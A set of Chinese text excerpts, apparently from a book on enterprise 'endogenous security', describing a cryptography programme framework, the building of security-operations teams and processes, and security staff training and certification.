    {"text": "密码与信息系统、数据和业务应用紧密结合，是内生安全的基础和重要支撑，密码法的实施也为密码技术的应用和评估提供了法律依据。 14.2 什么是密码专项框架 14.2.1 基本概念 在内生安全的密码专项框架下，密码应用能够满足网络安全产品线对密码应用的需求，密码体系全面对接身份安全，为终端安全、安全网关、数据安全、云安全提供密码模块，为应用安全提供密码中间件，为安全服务提供密评服务能力，为5G、物联网、区块链、数据安全治理等创新应用提供密码应用支撑能力。 14.2.2 设计思想 密码专项旨在大力推动密码在网络安全领域的应用和融合，使密码技术与信息系统、数据和业务应用紧密结合，为内生安全的网络安全系统提供基础支撑。 在架构方面，密码专项向平台化和服务化方向发展，通过密码基础设施平台、密码应用虚拟中台和密码应用管理平台，形成平台化的密码支撑能力，同时实现应用开发密码支撑和密码应用测评，形成整体的密码平台和服务能力，并与信息系统、业务系统及网络安全体系对接。 在技术方面，密码专项本着基础性、系统性、前瞻性的原则，在完善现有应用的基础上，积极发展创新领域的新型密码应用，以适应当前和未来数字化转型与业务发展的需要，重点解决密码技术与设备高性能、高可用性、合规性和国产化替代问题，实现对新型信息基础设施和业务应用的支撑能力。 在应用方面，密码专项通过对信息基础设施的全面覆盖和与业务应用的聚合，提供全面的身份认证、数据加密、传输安全和完整性保护能力与服务，并与网络安全系统实现全面对接。 14.2.3 整体架构 在内生安全框架下，密码应用向平台化和服务化方向发展，企业应通过实施密码专项建立完整的企业级密码体系，如图14.1所示。 图14.1 内生安全框架下的密码应用 建设密码基础设施平台，形成对密码算法、协议以及软硬件实现的统一部署和对云安全、工业安全、物联网密码模块的统一支撑，并根据身份安全、数据安全、应用安全等领域的需要进行功能开发和性能优化。 建设密码应用虚拟中台，针对企业办公网和生产网，以及虚拟化、轻量级、低延时等新兴应用场景的需求，开展密码应用适配与国产化替代，为数据安全、身份安全提供密码应用接口。 建设应用开发密码支撑服务体系，为应用开发的密码需求、架构设计和开发过程提供开发套件，并为应用测试与运营提供密码服务支撑。 建设密码应用管理平台，统一管理上述平台与体系，针对密钥、证书、签名等关键元素进行全生命周期的结构化管理。 建设密码应用测评服务体系，对接等保和关键基础设施防护，依据密码法和密码应用测评规范，对密码应用的正确性、有效性和合规性开展持续的测评与改进。 14.2.4 关键技术 与内生安全密码应用架构相对应，重点布局硬件设备、软件模块、密码系统、密码应用、密码支撑、密码测评、应用创新等领域，形成密码应用技术体系化布局，如图14.2所示。 图14.2 密码应用技术体系化布局 ● 硬件设备 重点布局具有国密资质的加密机、加密卡、可信密码模块、密码卡等硬件产品，满足密钥管理、高性能加解密、可信接入，以及轻量级密码应用的需要，满足标准化、高性能要求，并与密码系统和软件有良好的适配性。 ● 软件模块 重点布局具有国密资质的软加密、软可信、密码SDK、手机盾等软件产品，满足应用透明加解密、桌面及移动设备和物联网终端软件可信环境、虚拟化及分布式平台环境需要，具备定制开发能力，具备面向密码应用环境的高适应性和灵活性。 ● 密码系统 重点布局具有国密资质的密码认证系统、密钥管理系统、数字证书系统、签名验签系统等基础密码系统，为网络安全产品和系统提供底层密码支撑。 ● 密码应用 重点布局密码技术在身份识别、保密传输、隐私保护、可信认证等领域的应用，与业务相结合，形成统一的网络安全解决方案。 ● 密码支撑 重点促进密码技术与身份管理、信息系统安全、大数据安全、应用开发安全等业务的融合，并以密码技术为核心实现网络安全与信息化和业务的融合，形成以密码为核心的内生安全支撑能力。 ● 密码测评 重点布局密码应用测评工具开发、密评规范制定、密评与等保，以及与关基保护相结合的综合测评类，实现密码应用测评能力，并对接密码产品测评。 ● 应用创新 重点布局密码技术在云密码应用、物联网与5G、区块链、数据流通等领域的创新应用，并与上述领域的创新网络安全技术相结合，依托密码应用在网络安全创新应用中取得突破。 14.2.5 预期效果 1.建立基于密码技术的统一身份认证机制 建立以SM2算法PKI系统为基础的统一认证体系，为企业用户、业务应用和设备提供数字证书的生命周期管理、强身份认证和安全可控访问，并以此为基础为信息网提供完整的数字证书服务、综合认证服务、安全审计服务和集中管理监控服务。 统一身份认证体系的构建，将作为企业信息化网络基础认证设施，不仅可为应用系统提供集中强身份管理认证，还能够为其他需要证书服务的应用和设备（如网络加密模块、SSL VPN、网络密码机等）提供数字证书的生命周期管理，并可依托模块化认证架构，为身份安全及应用安全，以及5G、工业、物联网等领域的应用奠定基础。"},
    {"text": "但随着云计算的普及和业务系统中存储着大量重要和敏感的数据，数据存储的加密成为必选项。 因此必须将业务系统中的用户口令、重要数据、重要配置文件、敏感内容等信息进行加密存储，同时采取磁盘加密、分布式加密、文件加密、关键字段加密等灵活的加密方法，并配合高性能的加解密工具，实现数据加密与分析的良好配合。 ● 敏感数据的加密保护 应用系统中存在大量的重要信息，可以直接调用企业统一密码服务管理平台的加解密API，使用主密钥直接加密或解密其中的敏感数据。 也可以使用数字信封对数据进行加密保护，将主密钥存放在统一密码服务管理平台中，只部署加密后的数据密钥。 仅在需要使用数据密钥时，才调用统一密码服务管理平台获取数据密钥的明文，以在本地加解密业务数据。"},
    {"text": "● 口令存储、传输加密保护： 服务器端不允许存储用户的明文口令，客户端一般调用密码服务浏览器插件或App端的SDK，针对口令生成SM3摘要，然后通过安全通道传输到服务器端进行存储。"},
    {"text": "可以通过在终端用户的电脑上安装国密算法客户端，该客户端在终端与通道加密服务之间建立安全通道，通道加密服务转发数据到应用，实现用户访问的安全传输。"},
    {"text": "企业可以通过调用统一密码服务平台的服务接口针对日志文件或者相关数据库表生成消息认证码（MAC），同时在验证完整性时对权限列表的消息认证码（MAC）进行验证，以确定完整性是否被破坏。"},
    {"text": "14.3 建设密码专项框架的方法与要点 14.3.1 建设方法 ● 密码基础设施平台 对现有的密码模块和设备进行梳理和整合，包括支持国密、美密等不同算法，软件、硬件不同形态，加密、认证等不同功能的模块和设备，从而为云安全、工业安全、物联网对特殊密码模块的需求提供统一支撑。 依据网络安全整体规划和身份安全、数据安全、应用安全对密码支撑能力的要求，在统一框架下对密码基础设施平台进行升级改造，在功能和性能上满足企业的发展需要。 ● 密码应用虚拟中台 针对企业信息化业务，包括办公、生产、增值业务和产业生态的密码应用需求，统一开展密码应用中间件的开发、适配和升级改造。 针对云、5G、物联网等新兴应用环境，适配满足虚拟化、移动性、低功耗、低延时等新兴应用环境要求的新型密码机制。 针对身份安全、数据安全领域的密码应用进行适配，实现密码算法的国产化替代，对通信协议的密码应用进行国产化改造。 ● 应用开发密码支撑服务 对接应用安全领域，在应用开发的需求确定、架构管控、编码开发、测试评估等环节，提供密码应用需求分析、架构设计、开发套件和测试工具。 在应用上线运行阶段，为应用运行的监测、维护和远程管理提供必要的密码服务支撑。 ● 密码应用管理平台 建设统一密码应用管理平台，对密码基础设施平台、密码应用虚拟中台、应用开发密码支撑服务体系以及密码应用测评服务体系进行统一管理。"},
    {"text": "针对密钥、证书、签名、签章等关键元素的全生命周期，包括生成、存储、分发、导入、导出、使用、备份、恢复、归档、销毁等，实现申请、分发、更新、撤销和恢复等管理和服务。"},
    {"text": "针对密钥、证书等关键元素实施分类、分级的结构化管理，包括对称密钥、非对称密钥，以及有证书和无证书的在线和离线管理，在必要的情况下采取分级管理的方式，建立分布式密钥管理系统。"},
    {"text": "● 密码应用测评服务体系 对密码应用的正确性、有效性开展持续评估，确保密码算法、协议、密钥管理、密码产品和服务使用正确、设计合理，在系统运行过程中能够发挥密码效用。 对密码应用的合规性开展持续评估，对接等保和关键基础设施防护要求，符合法律、法规及国标、行标，密码产品和模块通过密码管理部门核准，密码服务通过密码管理部门许可。"},
    {"text": "14.3.2 建设要点 ● 开发关键技术以适配新应用 开发云密码服务、轻量级密码、国产化替代、高性能密码硬件、全业务密码应用等技术，适配以云、大、物、移、智为代表的数字化转型与业务发展的新要求。 ● 建设三个平台和两个体系 建设密码基础设施平台、密码应用虚拟中台、密码应用管理平台三个平台，以及应用开发密码支撑服务体系、密码应用测评服务体系两个体系。 ● 对接网络安全系统 对接身份管理与访问控制平台、多因素认证系统、云平台管理系统、数据安全管理与风险分析平台、终端安全防护平台、云安全管理平台、工业安全态势感知平台等系统。 ● 覆盖信息基础设施 全面覆盖网络（企业办公网、生产网、物联网、工业网、有线网、无线网）、计算环境（固定终端、移动终端、计算服务器、存储服务器、私有云、公有云）、数据（数据存储、数据传输、数据共享、隐私保护）和应用（应用开发、应用测试、应用运行）等信息基础设施。 ● 实现与业务聚合 实现与基础设施（采购、集成、升级）、中间件（开发、适配）、业务应用（开发、测试、运营）、统一管理（流程、可视化）、安全测评（密评与等保结合）等IT业务的聚合。"},
    {"text": "第15章 实战化安全运行能力建设 15.1 通过安全运行回归安全本质 15.1.1 安全运行在业务发展中面临的挑战 随着信息化和生产力建设的发展，政企机构的业务架构、信息系统架构与技术架构逐渐体系化与完备化。"},
    {"text": "与此同时，信息化资产的体量也愈加庞大，业务变更与互联互通关系也愈加复杂，这给安全运行保障建设提出了若干挑战。 ● 安全运行基础事务繁重 在生产业务中，以人员为主线的身份、凭证、权限管理，是业务逻辑安全运行的基础。"},
    {"text": "● 安全运行技术职责广泛 除基础安全运行事务外，在纵深防御领域，以信息化系统与安全产品的安全策略、访问策略为主线的策略生命周期管理事务，来确保策略与威胁控制、风险控制等需求持续匹配；"},
    {"text": "以上在纵深防御、积极防御与威胁情报领域的安全运行保障事务，对安全运行团队的技术职责有各不相同的要求，对安全运行团队的组织建设规划提出了挑战。"},
    {"text": "如果不能及时在组织治理层面与生产业务团队的组织结构层面进行集成，在已有的安全运行事务中，安全运行团队与生产业务团队的职责划分与协同配合会受到影响，最终影响安全保障水平的表现。 由于并非由生产业务直接驱动，安全运行团队的组织建设相对滞后，需要及时调整自身的组织编制与规模，来满足生产业务新的安全运行需求。 这对安全运行团队的组织建设执行提出了挑战。 ● 安全运行的质量控制迎来新挑战 统一的组织治理是生产业务与安全运行质量控制的基础，细致的安全运行流程与安全操作规程是安全运行质量控制的核心。 安全运行流程的细致程度决定了组织间协同配合与信息传递的质量，安全操作规程的细致程度决定了安全运行团队是否能够在特定情况下做出符合预设的安全决策，采取恰当的安全措施，以在预期时间完成安全保障事务。 安全运行质量向流程、规程的细致程度提出了挑战。"},
    {"text": "相反，在政企中，不论是生产业务还是安全业务，业务相关的运行体系建设是一系列最基础、最庞杂、最具体的事务的集合。 同时，运行体系建设也是实现企业架构愿景最核心、最重要的事务的集合。"},
    {"text": "虽然新的信息系统方案、技术方案是支撑业务发展的关键条件，但是“可运行性”是实现业务发展的必备条件，“运行保障水平”是评价业务成熟度的关键评价体系。"},
    {"text": "相对于安全运行，安全运维与安全运营是出现更多的两个词汇。 安全运维与安全运营均属于安全运行的一部分。 安全运维着重于运行体系的流程、规程方案的建设，通过一系列操作步骤与规范、保障预案，实现安全运行过程的质量控制。 安全运营着重于运行体系的评价、决策方案的建设，通过运行过程记录、数据采集与指标设计，实现安全运行水平的评价，并促成安全运行决策。 因此，优秀的安全运行保障水平必定需要做好安全运维与安全运营的相关工作，但做好安全运行所需考虑的关键要素并不局限于此。 安全运行与生产运行同属于一个概念维度，而生产运行体系的建设归属于企业架构中的业务架构部分，所以为了更好地为企业架构服务，安全运行还需要梳理与企业架构的关系。"},
    {"text": "企业架构的愿景与需求是通过业务架构、信息系统架构与技术架构三个架构体系来支撑的。 为了更加稳定、可靠地支撑企业架构的愿景与需求，需要在这三个架构体系上进行安全架构的对等设计。"},
    {"text": "图15.1 TOGAF 9.2中定义的企业架构的内容元模型 “十大工程”中的各个建设内容是以政企信息系统架构、技术架构为基础衍生出安全架构的工程建设解决方案。"},
    {"text": "并通过工程建设的有序推进，完成安全架构与信息系统架构、技术架构的逐步集成，实现工程建设的目标。 最终政企的信息系统架构、技术架构作为工程建设的直接受益对象，在工程设计与实现层面更加安全可靠。"},
    {"text": "通过组织治理层面的集成工作，实现支撑“安全运行”的组织能力建设，实现支撑实战化的安全服务资源，从而整合“十大工程”的建设投入，以及全面服务化工程建设与体系建设的投入，最终把“十大工程、五大任务”相关的安全能力参数承诺转化为实战化的安全保障水平承诺。 15.2 什么是实战化安全运行能力 15.2.1 基本概念 “实战化安全运行能力建设”是以业务架构为基础衍生出安全架构的组织体系建设解决方案。"},
    {"text": "它通过识别业务架构中支撑“生产运行”的业务驱动力、组织构成和组织行为，并以此为基础推动支撑“安全运行”组织建设的对等设计。 15.2.2 设计思想 通过识别企业架构中的业务架构的业务驱动力、组织结构与组织行为（见图15.2），“实战化安全运行能力”分别在这三个层面完成与业务架构的集成。"},
    {"text": "图15.2 TOGAF 9.2中企业架构内容元模型中的业务架构部分 15.2.3 总体架构 “实战化安全运行能力”集成于业务架构中，因此安全运行的业务驱动力、组织结构和组织行为方面的架构设计是必不可少的。"},
    {"text": "图15.3所示为实战化安全运行的整体架构图。 图15.3 实战化安全运行的整体架构 1.业务驱动力层面 在业务驱动力层面，安全运行的实战化体现在如下4个领域。"},
    {"text": "这涉及身份/凭证生命周期管理、特权场景管理、特权账号管理、虚拟安全设备生命周期管理、数据分类分级管理、资产管理、漏洞管理、配置管理、补丁管理、日志备份管理、业务关联逻辑调研等工作。"},
    {"text": "这涉及认证管理、异常行为策略管理、网络访问控制策略管理、终端安全策略管理、安全组策略管理、Web安全管理、行为分析策略管理、代码漏洞管理、代码检测策略管理、访问控制策略管理、特权策略管理、上网行为策略管理、入侵防护安全策略管理、Web应用安全策略管理、数据泄露检测策略管理、威胁检测策略管理、加密策略管理等工作。"},
    {"text": "● 在“积极防御”领域，通过以安全事件响应处置为主的威胁监控、威胁猎杀、关联分析、风险评估、策略优化、缓解加固来提升安全防护与风险控制水平。"},
    {"text": "● 在“威胁情报”领域，通过以情报数据应用为主的本地威胁特征采集、可攻破风险情报采集、本地情报档案化、对抗案例培训、威胁猎杀训练来提升威胁对抗水平。"},
    {"text": "2.组织结构层面 在组织结构层面，需要定义安全运行团队的组织结构和角色职责，并体现出组织单元、角色单元在能力上的具体表现与需求。 由于安全运行集成于业务架构，所以“生产运行”业务中定义的角色职责，同样会参与到“安全运行”组织结构中，形成“安全运行虚拟工作组”。 合理的组织结构设计，能够在覆盖并安全保障各个分管领域的同时，使“生产运行”与“安全运行”业务团队高效配合，有效支撑“安全运行”在业务驱动力层面定义的四个领域的实战化要点。 3.组织行为层面 在组织行为层面，需要定义出安全团队所遵循的安全运行流程和安全操作规程（图15.3中模拟了研判、分发、修复等环节的流程），使流程中每个环节有清晰的工作内容和工作步骤的定义，并在“安全运行虚拟工作组”中有明确的职责划分。 合理的组织行为设计，有清晰的安全运行服务目录以及服务水平承诺，在安全运行流程上能体现出清晰的信息传递与价值传递的过程，形成流程闭环以实现安全保障目标，在安全操作规程上有清晰的操作步骤描述与机械化决策方法，形成安全运行预案，提升安全运行质量的控制水平。 15.2.4 预期成效 安全运行在业务架构中的集成实现能够促成“十大工程”建设成果的服务化，把“十大工程”建设的安全能力参数承诺转化为具体的安全保障水平，最终达成实战化的效果。 15.3 实战化安全运行能力建设要点 15.3.1 安全运行能力建设的内容元模型 “实战化安全运行能力建设”属于组织体系建设的内容，需要与业务架构在组织治理层面进行集成，同时与“十大工程”集成后的信息系统架构、技术架构配合，最终为企业架构的愿景、目标服务。 因此在清楚了解“实战化安全运行”所服务的“终端客户”后，实战化安全运行能力建设的首个要点是需要采用企业架构的运行视图，识别实战化安全运行的建设要点。"},
    {"text": "为了便于建设要点的理解，我们对参与企业架构运行的对象进行进一步抽象。 实体中的“角色”和“职责”可以抽象为在协同管理方面的建设要点。 “技能”和“流程”可以抽象为在技术工作方面的建设要点。 “业务能力”“信息流（价值流）”“操作规程”可以抽象为在保障方案方面的建设要点。"},
    {"text": "图15.4 TOGAF 9.2中定义的运行视角下的企业架构的内容元模型 以此为基础，再结合安全运行业务驱动力在 “基础架构安全”“纵深防御”“积极防御”“威胁情报”四个安全运行保障领域的定义，可以更加详细地解读实战化安全运行能力的建设要点。"},
    {"text": "这包括设计“安全运行虚拟工作组”框架来启动组织治理层面集成实现组织间的协同配合，设计“安全域划分”框架来明确安全运行保障责任归属的划分，设计“设备资产管理”“信息化系统管理”“业务应用管理”“身份与权限管理”“密钥管理”框架来明确它们在生命周期的各个阶段以及是否安全标准和运行原则，设计“供应链管理”框架来明确供应商与外包服务的管理原则。 最终落实“安全管理制度”和“安全管理办法”，明确安全运行中各组织的权责，以及基础架构层面的运行所需的支撑流程。 1.“基础架构安全”领域的“协同管理”要点 “基础架构安全”领域中的“协同管理”建设要点，需要关注“安全运行虚拟工作组”的框架设计与需求澄清，并得到决策者的支持，从而推动组织治理层面更好地集成与配合。"},
    {"text": "他们负责制定安全运行相关的计划与方案，监督安全运行工作的执行，对安全事件进行解决方案与优先级的研判，并向领导小组汇报安全运行工作进展与计划，指导分析监控小组与安全运维小组开展工作。 执行小组包括分析监控小组和安全运维小组，分析监控小组由安全分析工程师，以及生产业务线IT接口人组成，负责对突发性安全事件进行关联分析，进行威胁核实，追踪威胁来源，评估业务影响范围，罗列威胁缓解与解决方案，然后上报综合专家小组。 安全运维小组由安全运维工程师以及生产业务线IT接口人组成，负责生产系统与安全系统的日常维护与生命周期管理，执行与控制安全变更。"},
    {"text": "2.“基础架构安全”领域的“技术工作”要点 “基础架构安全”领域的“技术工作”建设要点，需要关注各类框架在设计完毕后，能够落地执行并持续更新。"},
    {"text": "这包括在设计“安全域划分”框架后，通过安全运行相关工作来梳理IP地址规划，依据安全域严格划分子网，使用白名单策略来控制跨安全域间的通信，并通过建立网络ACL的管理制度与申请流程来持续维护“安全域划分”框架的有效性；"},
    {"text": "还包括在明确设备资产、信息化系统、业务应用、身份凭证和密钥的“生命周期管理”框架后，通过安全运行相关工作，完成生命周期中的安全初始化工作、变更安全测试工作、纳管与许可维护工作、运行状况监控工作、临时特权与例外维护工作，以及最终吊销回收工作，以持续维护“生命周期管理”框架的有效性。"},
    {"text": "为了避免框架的有效性被持续挑战，需要通过相关安全管理制度来明确组织上的责任范围与责任归属，通过安全管理办法来明确场景下的行为准则与支撑流程，最终通过安全运行流程与规程的落地，使“基础架构安全”中的技术工作得到有效执行。 3.“基础架构安全”领域的“保障方案”要点 “基础架构安全”领域的“保障方案”建设要点，需要关注的是通过网络边界设备的策略梳理以及网络边界流量的采集分析来持续保障安全域的有效隔离，通过系统监控与网络扫描持续监管资产纳管与许可管理的执行，通过互联网探测服务进行攻击者视角的资产盘点，通过可控的模拟攻击来检测员工安全管理制度的学习质量与安全意识。"},
    {"text": "“流程规程”工作围绕工程项目中的安全系统与安全平台的建设，将常态化运行事务的流程与规程落地，制定安全更新方案、策略维护方案、故障排除方案，以及数据统计方案。 “安全规范”工作包括制定安全保障团队建设方案，以及人员技术能力规范，还包括制定策略配置规范、评价指标规范、安全决策规范。"},
    {"text": "1.“纵深防御”领域的“协同管理”要点 “纵深防御”领域中的“协同管理”建设要点，需要关注安全运行团队建设方案，以及人员技术能力规范的需求澄清，并得到决策者的支持。"},
    {"text": "需要根据当前纵深防御部署情况，澄清安全运行团队中的人员规模需求、能力需求，以及相应的获取与培养方案。 需要随着生产业务、安全业务的发展，提升安全运行成熟度的需求，更新团队建设方案，以及人员技术能力规范。"},
    {"text": "2.“纵深防御”领域的“技术工作”要点 “纵深防御”领域中的“技术工作”建设要点，需要关注安全纵深中各领域的策略配置规范（包括默认安全配置方案），以及不同业务环境、不同业务级别下的策略配置建议。"},
    {"text": "这包括但不限于访问控制策略、异常行为策略、特权策略、网络访问控制策略、上网行为策略、终端安全策略、入侵安全防护策略、安全组策略、Web应用安全策略、数据泄露检测策略等。"},
    {"text": "为了能够通过评价安全运行保障水平来促成安全决策，我们还需要关注用于制定各安全领域的指标监控与安全决策的规范，包括数据指标设计与参数配置，以及数据指标范围所对应的安全决策。"},
    {"text": "3.“纵深防御”领域的“保障方案”要点 “纵深防御”领域中的“保障方案”建设要点，需要关注以项目的方式推动安全运行流程与规程的迭代。"},
    {"text": "1.“积极防御”领域的“协同管理”要点 “积极防御”领域中的“协同管理”建设要点，需要制定突发安全事件的应急响应预案，这包括明确突发安全事件的类型、事件等级与SLA（服务等级协议）。"},
    {"text": "除此之外，还需要制定跨安全纵深的通用威胁检测响应技术工作流程，统一威胁核实、追溯来源、评估影响、灰度处置、持续遏制5个阶段的定义。"},
    {"text": "2.“积极防御”领域的“技术工作”要点 “积极防御”领域中的“技术工作”建设要点，在威胁应对方面，需要关注特定安全产品的常态化威胁检测响应工作清单，定义该产品有效威胁的监控能力，以及威胁线索获取来源。"},
    {"text": "除此之外，还需要关注跨安全产品的关联分析、协同研判工作方案，包括围绕网络五元组、身份凭证、文件样本方面的威胁线索共享，设计具体操作流程与规程，来覆盖具体联动的场景。"},
    {"text": "在风险应对方面，需要关注维护安全风险评估标准、加固计划与加固实施方案，确保采用的风险评估方案采纳了最新漏洞情报、厂商指南，以及合规政策的建议。"},
    {"text": "15.3.5 “威胁情报”领域建设要点 在“威胁情报”领域，主要工作包括安全运行的“威胁采集”与“风险采集”相关工作。 在“威胁采集”工作中，包括本地情报的档案化管理、实现威胁新特征的持续监控与采集、安全策略的持续更新，以及围绕威胁档案开展威胁狩猎培训。 除此之外，高阶情报运营相关的情报采集的规则与模型维护，配合机器学习、数据挖掘等技术领域的支撑，以及安全运行团队的支撑，可以实现威胁情报的生成工作。 1.“威胁情报”领域的“协同管理”要点 “威胁情报”领域中的“协同管理”建设要点，在威胁采集方面，需要关注本地化的威胁档案管理机制，包括通过统一的威胁情报平台维护本地已发生威胁的情报特征，并形成档案；"},
    {"text": "在风险采集方面，需要制定有计划的渗透测试活动，以及后续整改计划，包括针对生产业务设计渗透测试方案，收集可被攻破的风险情报，同时以项目的方式推动渗透测试与整改的执行，形成闭环。"},
    {"text": "2.“威胁情报”领域的“技术工作”要点 “威胁情报”领域中的“技术工作”建设要点，需要关注通过云端情报收录的已知威胁，以协助威胁检测，完善安全策略。"},
    {"text": "这包括关注各领域的安全产品，通过它们的安全运行实现情报驱动威胁检测，以及关注跨领域的安全产品，基于它们的威胁检测结果，完善纵深防御的安全策略。"},
    {"text": "除此之外，还需要通过情报运营能力，完善新型威胁的情报采集，包括通过机器学习、人工智能、数据挖掘等技术领域的支撑，完成情报素材数据的清洗、整合与初筛。 通过监控规则、行为分析模型完成新型威胁的特征情报采集工作。"},
    {"text": "在安全运行过程中，并不是所有的团队成员都能经历各类安全威胁的对抗过程，所以需要一个围绕威胁情报的模拟狩猎方案，对更多的安全运行团队成员进行技能培训。"},
    {"text": "在威胁狩猎训练中，将威胁档案的局部内容作为初始条件，展开跨时间、跨安全纵深的威胁狩猎，逐步还原完整的威胁档案，以及完成威胁检测响应相关的技术工作过程，提升团队威胁狩猎技能，实现培训目的。"},
    {"text": "第16章 安全人员能力支撑 16.1 数字化转型与业务发展的新要求 16.1.1 人在网络安全中的重要性越来越高 2020年，安全界顶级盛会RSAC的主题是Human Element（人的因素），强调了人在网络安全中的重要性越来越高。"},
    {"text": "2008年，美国发布的《国家网络安全综合计划（CNCI）》中提到，“美国政府已花费数十亿美元用于网络空间安全技术，但是决定成败的是运用这些技术的人是否具备充足的知识、技能和能力。"},
    {"text": "CNCI计划的第八项计划“扩大网络教育”，明确了美国国家网络安全人才培养的战略定位，成为美国国家网络安全人才政策发展中的重要里程碑。"},
    {"text": "隐藏在各种网络攻击行为后面的从来都是人——是拥有网络攻击能力、渗透能力的黑客，利用各种攻击工具、创新方法，对目标网络进行渗透和攻击。"},
    {"text": "在网络安全领域，由于其天然的对抗性和威胁来源的复杂性，因此对人员或团队的依赖和能力要求会更高。 随着网络安全进入内生安全时代，网络安全行业对人员的要求越来越高。"},
    {"text": "以某个大型实网攻防演习为例，需要汇聚组织方、攻击方和防守方三支队伍，才能完成对系统安全性和运行保障有效性的检验。 防守方一般由系统运营单位、攻防专家、安全厂商、软件开发商、网络运维团队、云提供商等多方人员聚合组成。 另外，由于网络的联通性，网络攻击常常不受时间、地点限制，攻击瞄准的对象不仅包括各种信息系统，也包括企业中的人员，比如企业自身员工、外包服务团队、合作供应商人员等，甚至是这些人的家人、朋友。"},
    {"text": "综上所述，企业与组织在建设自身安全体系时，应提前进行安全人才储备，将IT人才和安全人才聚合起来，全面提升安全人员能力，以此作为后续安全发展的根基。 16.2 什么是安全人员能力 16.2.1 基本概念 企业网络安全人员能力是指为保护企业的信息系统及其数据资产所需的企业所有人员的整体网络安全软能力的总称。 安全人员能力包含企业安全管理人员的安全规划和管理能力、安全运行团队人员的技术能力，还包含企业全员的安全意识。"},
    {"text": "企业安全人员能力建设应从网络安全的组织能力和人员能力两个方面开展。 合理的安全组织机构设置和明确的安全岗位职责是保障企业安全人员能力可切实落地的重要措施。"},
    {"text": "因为与企业信息系统相关的每个人都可能成为被攻击渗透的目标，这包括从事企业业务运行、企业管理的各类人员，以及服务外包人员、供应商人员等。"},
    {"text": "企业的安全运行团队或安全管理团队一般缺乏足够的号召力去驱动企业的这些人员，所以企业的全员网络安全意识教育应该是“一把手”工程，应该由CIO或CSO负责，才能落地见效。"},
    {"text": "1.网络安全团队设计 根据企业信息化系统的建设以及网络安全策略和规划来设计网络安全团队，包括组织结构、汇报关系、成员构成、岗位设置、职级划分、岗位职责、薪酬体系等内容。 2.网络安全岗位能力模型 基于网络安全岗位职责，结合安全运行工作要求，参考网络安全人才框架能力模型，制定企业自身的网络安全岗位能力模型，明确不同岗位类别对应的专业领域、工作角色、工作任务，以及所需的知识、技能和能力（KSA）。 3.网络安全实训课程 根据不同网络安全岗位的能力要求，开发网络安全实训课程体系。 针对不同的岗位类别，结合实际的安全运行场景和网络攻防案例，进行安全管理、安全运行、安全开发、风险评估、渗透测试等安全课程培训，确保企业网络安全团队具备实战化的网络安全运行能力。 图16.1 安全人员能力的总体架构 4.网络安全实训系统平台 建设用于支撑实战场景课程体系的网络安全实训系统。 ● 建设用于网络安全学习和实践的网络安全实训/竞赛平台。 该平台集知识培训、技能训练、仿真演练、科研测试、攻防对抗、管理考核于一体，可自定义网络拓扑和课程场景，可持续更新实训课程内容。 ● 建设用于网络安全实战和应急响应的网络安全实战训练靶场。 该靶场可最大程度地仿真用户的真实业务场景，可根据真实攻防案例构建攻防实训场景，可根据网络安全团队的岗位和角色训练团队的整体实战能力。"},
    {"text": "5.行业网络安全从业人员认证体系 建立不同岗位的人才评价标准，设计符合行业网络安全岗位能力要求的网络安全能力认证体系。 对于大型的企业和行业客户，可以建立自己的网络安全从业人员认证体系； 对于中小企业，可以根据自身情况选择国家或企业的网络安全认证，如奇安信公司的网络安全工程师认证。 从关键岗位开始，逐步实现网络安全人员的持证上岗。 规划网络安全人员的职业成长路径，促进从业人员能力的持续提升。 6.网络安全运行和网络安全体系规划 通过上面几个环节，培养出具有实际工作能力的网络安全团队。 在实际工作中，当安全体系伴随业务演进发生调整变化时，或安全运行体系对安全人员的岗位和能力提出新的要求时，需要更新岗位设计和能力要求，进一步更新网络安全实训课程的内容和实训平台的场景。 这是企业安全人员能力建设闭环的重要一步，只有不断根据实际需要进行调整，才能建设出符合企业需求的安全人员能力。"},
    {"text": "16.2.4 关键要点 高效建设具有实战能力的网络安全团队涉及两个方面：一是能够根据企业、行业的业务需求和信息化建设要求，设计或选择合适的网络安全从业人员认证体系，同时根据认证体系的要求设计合理的实训课程体系，用于衡量人才水平，为人才培养指明方向； 二是能够适应网络安全领域的对抗性特点，提升人员解决实际安全问题的能力（一般通过实训系统或网络靶场等技术平台开展网络安全实战训练）。 1.网络安全从业人员认证体系 对于网络安全从业人员的认证的选择，需要结合企业的实际需求。 如CISP认证属于大而全的知识体系认证，覆盖面广（但不会太深），可使学员对信息安全有体系化的总体了解。 如果需要渗透方面的能力，可以考虑CISP-PTE认证考试等。 而对于大部分企业需要的安全运营、数据分析等方面的认证，则可以参考奇安信公司推出的网络安全工程师认证。"},
    {"text": "图16.2所示为奇安信网络安全工程师认证体系。 图16.2 奇安信网络安全工程师认证体系 对于有鲜明行业特色的大型行业，可以与网络安全专业服务厂商一起，设计符合行业特色的从业人员认证体系，以便更好地满足行业的网络安全能力建设需求。"},
    {"text": "图16.3所示为某金融机构设计的认证体系。 图16.3 某金融机构设计的认证体系示意图 有了合适的认证体系，就可以根据需求开发建设配套的课程体系。"},
    {"text": "图16.4 某金融客户设计的实训课程体系 2.网络安全实训平台/实战靶场 在确定认证与课程体系后，网络安全知识获取过程中最重要的实操验证就是通过网络安全实训平台（或教学实训靶场）来完成，用以配合学习理论知识，强化实操训练。 在知识、技能、能力（KSA）的体系中，实训平台（或教学实训靶场）是学习网络安全知识，并通过实操、实训把知识转化成技能的平台。"},
    {"text": "而如何将技能转化为能力并积累经验，就需要有场景化的实战演练靶场系统来辅助。 场景化的实战演练靶场的定位是在最接近真实的场景中体验真实的攻击，帮助企业安全团队提升安全事件的检测、分析、处置能力。 具备完善的教师与学员的角色、丰富的攻防场景、强大的自动化攻击场景定制功能等，这些是选择这类靶场的关键考量因素。"},
    {"text": "在平台功能及技术方面，为了支撑在统一的硬件平台上满足不同的虚拟演练环境，需要实训平台能柔性、可视化地构建各种仿真业务场景及虚实结合（信息架构下无法虚拟的系统需要硬件接入）的网络环境，且所构建的网络环境与底层支撑硬件平台的拓扑结构无关。 支撑平台采用虚拟化技术和SDN技术，实现网络虚拟化，并结合基于OpenFlow的虚实结合的技术，将实物设备接入到虚拟环境，从而柔性构建出虚实结合的网络环境。 通过虚拟化的隔离技术、VLAN隔离技术以及访问控制技术，可并发支持多个相互隔离的网络环境，从而支持多个用户及多个实验同时进行实训。"},
    {"text": "16.2.5 预期成效 安全能力建设最终会使企业、机构具备与自身业务和信息化需求相匹配的安全人员能力，能够与企业投资的各种安全设备与安全流程配合，最大程度地保护企业的系统与数据安全。"},
